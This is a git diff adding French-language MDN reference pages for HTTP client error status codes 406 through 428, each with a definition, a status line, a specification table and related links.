+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/406/index.html b/files/fr/web/http/status/406/index.html
new file mode 100644
index 0000000000..4f3a74f987
--- /dev/null
+++ b/files/fr/web/http/status/406/index.html
@@ -0,0 +1,49 @@
+---
+title: 406 Not Acceptable
+slug: Web/HTTP/Status/406
+tags:
+  - Code de statut
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/406
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse d'erreur HTTP <code><strong>406</strong></code><strong><code> Not Acceptable</code></strong> indique qu'il est impossible de servir une réponse qui satisfait aux critères définis dans les en-têtes {{HTTPHeader("Accept-Charset")}} et {{HTTPHeader("Accept-Language")}}.</p>
+
+<p>En réalité, cette erreur est très rarement utilisée. Plutôt que de répondre avec ce code, incompréhensible de l'utilisateur (et difficile à résoudre), les serveurs ignorent les en-têtes en question et renvoient une page à l'utilisateur. On part du principe que, même si l'utilisateur ne sera pas complètement satisfait, ce scénario est préférable à un code d'erreur.</p>
+
+<p>Si un serveur renvoie ce code d'erreur, le corps du message doit contenir la liste des représentations disponibles pour cette ressource afin de pouvoir choisir manuellement parmi celles-ci.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">406 Not Acceptable</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "406 Not Acceptable" , "6.5.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "406")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Language")}}</li>
+ <li>{{HTTPHeader("Accept-Charset")}}</li>
+ <li><a href="/fr/docs/Web/HTTP/Content_negotiation">Négociation du contenu en HTTP</a></li>
+</ul>
diff --git a/files/fr/web/http/status/407/index.html b/files/fr/web/http/status/407/index.html
new file mode 100644
index 0000000000..1950146072
--- /dev/null
+++ b/files/fr/web/http/status/407/index.html
@@ -0,0 +1,57 @@
+---
+title: 407 Proxy Authentication Required
+slug: Web/HTTP/Status/407
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/407
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse d'erreur HTTP <strong><code>407 Proxy Authentication Required </code></strong> indique que la requête n'a pas été appliquée à cause d'un manque d'authentification pour un  {{Glossary("proxy")}} situé entre le navigateur et le serveur qui peut accéder à la ressource demandée.</p>
+
+<p>Ce code de statut est envoyé avec l'en-tête {{HTTPHeader("Proxy-Authenticate")}} qui contient les informations décrivant la façon de s'authentifier correctement.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">407 Proxy Authentication Required </pre>
+
+<h2 id="Exemple_de_réponse">Exemple de réponse</h2>
+
+<pre>HTTP/1.1 407 Proxy Authentication Required
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+Proxy-Authenticate: Basic realm="Access to internal site"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7235", "407 Proxy Authentication Required" , "3.2")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "407")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/Authentication">La gestion de l'authentification en HTTP</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/408/index.html b/files/fr/web/http/status/408/index.html
new file mode 100644
index 0000000000..5ff604f4fd
--- /dev/null
+++ b/files/fr/web/http/status/408/index.html
@@ -0,0 +1,43 @@
+---
+title: 408 Request Timeout
+slug: Web/HTTP/Status/408
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Référence(2)
+translation_of: Web/HTTP/Status/408
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <code><strong>408</strong></code><strong><code> Request Timeout</code></strong> indique que le serveur souhaiterait clôturer cette connexion inutilisée. Pour certains serveurs, ce code est parfois envoyé sur une connexion inactive sans qu'il y ait nécessairement eu de requête de la part du client.</p>
+
+<p>Un serveur doit envoyer l'en-tête {{HTTPHeader("Connection")}} avec la valeur <code>"close"</code> en réponse, puisque 408 implique que le serveur a décidé de fermer la connexion plutôt que de continuer à attendre.</p>
+
+<p>Cette réponse est plus utilisée depuis que certains navigateurs, comme Chrome, Firefox 27+ ou IE9, utilisent le mécanisme HTTP de pré-connexion qui permet d'accélérer la navigation. On notera également que certains serveurs ferment purement et simplement la connexion, sans renvoyer ce message.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">408 Request Timeout</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "408 Request Timeout" , "6.5.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("X-DNS-Prefetch-Control")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/409/index.html b/files/fr/web/http/status/409/index.html
new file mode 100644
index 0000000000..650af5bc3c
--- /dev/null
+++ b/files/fr/web/http/status/409/index.html
@@ -0,0 +1,40 @@
+---
+title: 409 Conflict
+slug: Web/HTTP/Status/409
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/409
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse <code><strong>409 Conflict</strong></code> indique que la requête entre en conflit avec l'état actuel du serveur.</p>
+
+<p>Les conflits se produisent généralement en réponse à une requête {{HTTPMethod("PUT")}}. Par exemple, vous pouvez obtenir une réponse 409 lorsque vous téléversez un fichier qui est plus vieux que celui déjà présent sur le serveur, ce qui entraine un conflit de contrôle de version.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">409 Conflict</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "409 Conflict" , "6.5.8")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPMethod("PUT")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/410/index.html b/files/fr/web/http/status/410/index.html
new file mode 100644
index 0000000000..d90d57cfa7
--- /dev/null
+++ b/files/fr/web/http/status/410/index.html
@@ -0,0 +1,52 @@
+---
+title: 410 Gone
+slug: Web/HTTP/Status/410
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Référence(2)
+translation_of: Web/HTTP/Status/410
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse d'erreur HyperText Transfer Protocol (HTTP) <code><strong>410</strong></code><strong><code> Gone</code></strong> est une erreur client qui indique que l'accès à la ressource visée n'est plus disponible sur le serveur d'origine et que cet état est susceptible d'être définitif.</p>
+
+<p>Si vous ne savez pas si cette absence est temporaire ou permanente, il est préférable de renvoyer un code de statut {{HTTPStatus(404)}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Par défaut, une réponse 410 peut être mise en cache.</p>
+</div>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">410 Gone</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "410 Gone" , "6.5.9")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>L'information ci-dessous provient du GitHub de MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http.status.410")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus(404)}}</li>
+</ul>
diff --git a/files/fr/web/http/status/411/index.html b/files/fr/web/http/status/411/index.html
new file mode 100644
index 0000000000..f260e8bf8c
--- /dev/null
+++ b/files/fr/web/http/status/411/index.html
@@ -0,0 +1,41 @@
+---
+title: 411 Length Required
+slug: Web/HTTP/Status/411
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/411
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse d'erreur HTTP <code><strong>411</strong></code><strong><code> Length Required</code></strong> indique que le serveur refuse d'accepter la requête si celle-ci ne contient pas d'en-tête {{HTTPHeader("Content-Length")}}.</p>
+
+<p>On notera que, selon la spécification, lors de l'envoi de données en plusieurs fragments, l'en-tête <code>Content-Length</code> est absent et il est nécessaire d'ajouter la longueur du fragment courant au format hexadécimal. Pour plus de détails, se référer à la page sur l'en-tête {{HTTPHeader("Transfer-Encoding")}}.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">411 Length Required</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "411 Length Required" , "6.5.10")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Length")}}</li>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/412/index.html b/files/fr/web/http/status/412/index.html
new file mode 100644
index 0000000000..02207829b0
--- /dev/null
+++ b/files/fr/web/http/status/412/index.html
@@ -0,0 +1,47 @@
+---
+title: 412 Precondition Failed
+slug: Web/HTTP/Status/412
+tags:
+  - Code de statut
+  - Erreur
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/412
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse d'erreur HTTP <code><strong>412</strong></code><strong><code> Precondition Failed</code></strong> indique que l'accès à la ressource visée a été refusé. Cela arrive avec les requêtes conditionnelles lorsque les méthodes utilisées ne sont pas  {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} et que la condition définie par les en-têtes  {{HTTPHeader("If-Unmodified-Since")}} ou {{HTTPHeader("If-None-Match")}} n'est pas respectée. Dans ce cas, la requête, généralement un téléversement ou une modification d'une ressource, ne peut être appliquée et ce code de réponse d'erreur est renvoyé.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">412 Precondition Failed</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "412 Precondition Failed" , "4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "412")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus("304")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-Since")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("428")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/413/index.html b/files/fr/web/http/status/413/index.html
new file mode 100644
index 0000000000..4576e41da5
--- /dev/null
+++ b/files/fr/web/http/status/413/index.html
@@ -0,0 +1,39 @@
+---
+title: 413 Payload Too Large
+slug: Web/HTTP/Status/413
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/413
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse <code><strong>413 Payload Too Large</strong></code> indique que la taille de l'entité fournie par la requête est supérieure aux limites définies par le serveur. Le serveur peut alors choisir de fermer la connexion ou de renvoyer un en-tête {{HTTPHeader("Retry-After")}}.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">413 Payload Too Large</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/414/index.html b/files/fr/web/http/status/414/index.html
new file mode 100644
index 0000000000..b8963027ef
--- /dev/null
+++ b/files/fr/web/http/status/414/index.html
@@ -0,0 +1,46 @@
+---
+title: 414 URI Too Long
+slug: Web/HTTP/Status/414
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/414
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <code><strong>414 URI Too Long</strong></code> indique que l'URI demandé par le client est plus longue que ce que le serveur est disposé à interpréter.</p>
+
+<p>Il existe quelques rares cas de figure pour lesquels cela peut se produire :</p>
+
+<ul>
+ <li>un client a mal converti une requête {{HTTPMethod("POST")}} vers une requête {{HTTPMethod("GET")}} qui contient de nombreuses informations,</li>
+ <li>un client est descendu dans une boucle de redirection (par exemple, un URI de redirection qui pointe vers un suffixe de lui-même),</li>
+ <li>un serveur est sous le coup d'une attaque par un client qui tente d'exploiter des failles de sécurité potentielles.</li>
+</ul>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">414 URI Too Long</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "414 URI Too Long" , "6.5.12")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{Glossary("URI")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/415/index.html b/files/fr/web/http/status/415/index.html
new file mode 100644
index 0000000000..9c4f8ce71f
--- /dev/null
+++ b/files/fr/web/http/status/415/index.html
@@ -0,0 +1,42 @@
+---
+title: 415 Unsupported Media Type
+slug: Web/HTTP/Status/415
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/415
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse d'erreur HTTP <code><strong>415 Unsupported Media Type</strong></code> indique que le serveur refuse la requête car le format de la charge utile (<em>payload</em>) n'est pas pris en charge.</p>
+
+<p>Le problème de format peut être causé par les valeurs des en-têtes {{HTTPHeader("Content-Type")}} ou {{HTTPHeader("Content-Encoding")}} dans la requête ou, plus directement, à cause de l'inspection des données.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">415 Unsupported Media Type</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "415 Unsupported Media Type" , "6.5.13")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Content-Encoding")}}</li>
+ <li>{{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/416/index.html b/files/fr/web/http/status/416/index.html
new file mode 100644
index 0000000000..63773720c4
--- /dev/null
+++ b/files/fr/web/http/status/416/index.html
@@ -0,0 +1,50 @@
+---
+title: 416 Range Not Satisfiable
+slug: Web/HTTP/Status/416
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Référence(2)
+translation_of: Web/HTTP/Status/416
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse d'erreur HTTP <code><strong>416</strong></code><strong><code> Range Not Satisfiable</code></strong> indique que le serveur ne peut pas servir les plages demandées. L'explication la plus probable est que le document ne contient pas de telles plages, ou que la valeur de l'en-tête {{HTTPHeader("Range")}} n'a aucun sens bien que sa syntaxe soit correcte.</p>
+
+<p>Le message de réponse  <code>416</code> contient un en-tête {{HTTPHeader("Content-Range")}} qui indique une plage qui n'est pas satisfaite (représentée par <code>'*'</code>) suivie par <code>'/'</code> puis la ressource courante (par exemple <code>Content-Range: */12777</code>).</p>
+
+<p>Lorsqu'ils rencontrent cette erreur, les navigateurs abandonnent généralement l'opération en cours (un téléchargement ne pourra pas être repris par exemple) ou ils redemandent le document dans son intégralité.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">416 Range Not Satisfiable</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "416 Request Not Satisfiable" , "4.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "416")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus(206)}} <code>Partial Content</code></li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/417/index.html b/files/fr/web/http/status/417/index.html
new file mode 100644
index 0000000000..5137bd7113
--- /dev/null
+++ b/files/fr/web/http/status/417/index.html
@@ -0,0 +1,41 @@
+---
+title: 417 Expectation Failed
+slug: Web/HTTP/Status/417
+tags:
+  - Client error
+  - Code de statut
+  - HTTP
+  - HTTP Status Code
+  - Reference
+translation_of: Web/HTTP/Status/417
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse d'erreur HTTP <strong><code>417 Expectation Failed</code></strong> indique que les attentes indiquées par l'en-tête {{HTTPHeader ("Expect")}} n'ont pu être satisfaites.</p>
+
+<p>Voir la page sur l'en-tête {{HTTPHeader("Expect")}} pour plus de détails.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">417 Expectation Failed</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "417 Expectation Failed" , "6.5.14")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Expect")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/418/index.html b/files/fr/web/http/status/418/index.html
new file mode 100644
index 0000000000..b0587a99fe
--- /dev/null
+++ b/files/fr/web/http/status/418/index.html
@@ -0,0 +1,41 @@
+---
+title: 418 I'm a teapot (je suis une théière)
+slug: Web/HTTP/Status/418
+tags:
+  - HTTP
+translation_of: Web/HTTP/Status/418
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le statut erreur client HTTP <code>418 I'm a teapot</code> qui signifie "Je suis une théière" informe que le serveur refuse de préparer du café, car il s'agit d'une théière. Cette erreur est une référence au protocole Hyper Text Coffee Pot Control Protocol qui est le poisson d'avril des RFCs en 1998.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">418 I'm a teapot</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td>
+   <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.418")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://fr.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol">Hyper Text Coffee Pot Control Protocol sur Wikipédia</a></li>
+</ul>
diff --git a/files/fr/web/http/status/422/index.html b/files/fr/web/http/status/422/index.html
new file mode 100644
index 0000000000..5aabeae4e4
--- /dev/null
+++ b/files/fr/web/http/status/422/index.html
@@ -0,0 +1,40 @@
+---
+title: 422 Unprocessable Entity
+slug: Web/HTTP/Status/422
+tags:
+  - Code HTTP
+  - Code de statut
+  - Code de statut HTTP
+  - Erreur
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/422
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>Le code de statut de réponse HTTP <code><strong>422 Unprocessable Entity</strong></code> indique que le serveur a compris le type de contenu de la requête et que la syntaxe de la requête est correcte mais que le serveur n'a pas été en mesure de réaliser les instructions demandées.</p>
+
+<div class="warning">
+<p><strong>Important </strong>: Le client ne doit pas renvoyer cette requête sans modification.</p>
+</div>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">422 Unprocessable Entity</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre (en Anglais)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("4918", "422 Unprocessable Entity" , "11.2")}}</td>
+   <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/http/status/425/index.html b/files/fr/web/http/status/425/index.html
new file mode 100644
index 0000000000..820ce3c8d5
--- /dev/null
+++ b/files/fr/web/http/status/425/index.html
@@ -0,0 +1,39 @@
+---
+title: 425 Too Early
+slug: Web/HTTP/Status/425
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+translation_of: Web/HTTP/Status/425
+---
+<p>{{SeeCompatTable}}{{HTTPSidebar}}</p>
+
+<p>Le code de réponse d’erreur HyperText Transfer Protocol (HTTP) <code><strong>425 Too Early</strong></code> signifie que le serveur refuse la requête qui a été récemment répétée par exemple de peur d’une attaque DDoS </p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">425 Too Early</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("8470", "425: Early Data", "5.2")}}</td>
+   <td>Using Early Data in HTTP</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.425")}}</p>
diff --git a/files/fr/web/http/status/426/index.html b/files/fr/web/http/status/426/index.html
new file mode 100644
index 0000000000..5b05f90641
--- /dev/null
+++ b/files/fr/web/http/status/426/index.html
@@ -0,0 +1,51 @@
+---
+title: 426 Upgrade Required
+slug: Web/HTTP/Status/426
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/426
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse d'erreur HTTP <code><strong>426 Upgrade Required</strong></code> indique que le serveur refuse de réaliser la requête en utilisant le protocole actuel mais qu'il sera peut-être disposé à le faire après que le client augmente la version du protocole utilisé.</p>
+
+<p>Avec cette réponse, le serveur renvoie un en-tête {{HTTPHeader("Upgrade")}} pour indiquer le(s) protocole(s) requis.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">426 Upgrade Required</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>HTTP/1.1 426 Upgrade Required
+Upgrade: HTTP/3.0
+Connection: Upgrade
+Content-Length: 53
+Content-Type: text/plain
+
+This service requires use of the HTTP/3.0 protocol</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "426 Upgrade Required" , "6.5.15")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+ <li>{{HTTPStatus("101")}} <code>Switching Protocol</code></li>
+</ul>
diff --git a/files/fr/web/http/status/428/index.html b/files/fr/web/http/status/428/index.html
new file mode 100644
index 0000000000..ba81c952ad
--- /dev/null
+++ b/files/fr/web/http/status/428/index.html
@@ -0,0 +1,44 @@
+---
+title: 428 Precondition Required
+slug: Web/HTTP/Status/428
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/428
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <code><strong>428 Precondition Required</strong></code> indique que le serveur requiert que la requête soit <a href="/fr/docs/Web/HTTP/Conditional_requests">conditionnelle</a>.</p>
+
+<p>Généralement, cela signifie qu'il <strong>manque</strong> un en-tête de précondition, comme {{HTTPHeader("If-Match")}}.</p>
+
+<p>Lorsqu'un en-tête de précondition <strong>ne correspond pas</strong> à l'état du serveur, la réponse doit être {{HTTPStatus(412)}} <code>Precondition Failed</code>.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">428 Precondition Required</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
